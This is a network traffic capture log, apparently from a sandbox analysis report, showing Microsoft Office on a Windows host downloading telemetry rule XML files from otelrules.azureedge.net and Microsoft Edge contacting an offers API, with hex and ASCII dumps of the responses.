2024-10-28 01:07:30 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:30 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 4104ef10-001e-0046-6521-26da4b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010730Z-17c5cb586f6sqz6fff89etrx0800000003y0000000008emu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:30 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.6	49818	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:30 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:30 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:30 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: bb28544f-801e-0047-7562-267265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010730Z-16849878b78km6fmmkbenhx76n00000003hg00000000rn4k x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 01:07:30 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.6	49819	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:30 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:30 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:30 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 080ba15e-001e-0082-732b-275880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010730Z-15b8d89586fmhkw429ba5n22m800000005ng0000000094kz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:30 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.6	49820	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:31 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:31 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:31 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 16f4e3a8-701e-0053-1d57-273a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010731Z-17c5cb586f6gkqkwd0x1ge8t0400000004r00000000006a9 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:31 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.6	49822	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:31 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:31 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:31 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: 9c2fdade-c01e-002b-16f2-246e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010731Z-15b8d89586ffsjj9qb0gmb1stn00000008m0000000000tzt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:31 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.6	49821	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:31 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:31 UTC	584	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:31 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 6768b437-a01e-00ab-174d-279106000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010731Z-16849878b787wpl5wqkt5731b4000000055g0000000013kx x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:31 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.6	49823	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:31 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:31 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:31 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 41937e91-c01e-008e-5d57-277381000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010731Z-16849878b78qg9mlz11wgn0wcc00000003v000000000geum x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:31 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.6	49824	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:31 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:32 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:31 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: f473ee8a-401e-00ac-6cf0-260a97000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010731Z-16849878b78g2m84h2v9sta29000000003ag000000001acs x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:32 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.6	49829	94.245.104.56	443	5076	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:32 UTC	428	OUT	GET /edgeoffer/pb/experiments?appId=edge-extensions&country=CH HTTP/1.1 Host: api.edgeoffer.microsoft.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-28 01:07:32 UTC	725	IN	HTTP/1.1 200 OK Content-Length: 0 Connection: close Content-Type: application/x-protobuf; charset=utf-8 Date: Mon, 28 Oct 2024 01:07:31 GMT Server: Microsoft-IIS/10.0 Set-Cookie: ARRAffinity=3e4931a31fa9f6b0a9a0b3e0bec1ba0e7d81601066244883a4782a099ce2b765;Path=/;HttpOnly;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinity=8b656f4ecf6270dbe9097aac1834960f61903fdb6f6ce3be7cbc242f17e7233a;Path=/;HttpOnly;Secure;Domain=api.edgeoffer.microsoft.com Set-Cookie: ARRAffinitySameSite=8b656f4ecf6270dbe9097aac1834960f61903fdb6f6ce3be7cbc242f17e7233a;Path=/;HttpOnly;SameSite=None;Secure;Domain=api.edgeoffer.microsoft.com Request-Context: appId=cid-v1:48af8e22-9427-456d-9a55-67a1e42a1bd9 X-Powered-By: ASP.NET

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.6	49834	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:32 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:32 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:32 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 1b4bca5c-501e-000a-63e3-260180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010732Z-17c5cb586f672xmrz843mf85fn0000000360000000001vcz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:32 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.6	49833	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:32 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:32 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:32 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 33ffbe2f-201e-0085-3800-2534e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010732Z-15b8d89586fnsf5zd126eyaetw00000005d000000000c6rt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:32 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.6	49832	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:32 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:32 UTC	563	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:32 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: c2e82b32-d01e-005a-2b27-267fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010732Z-17c5cb586f6gkqkwd0x1ge8t0400000004m0000000007s68 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:32 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.6	49835	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:32 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
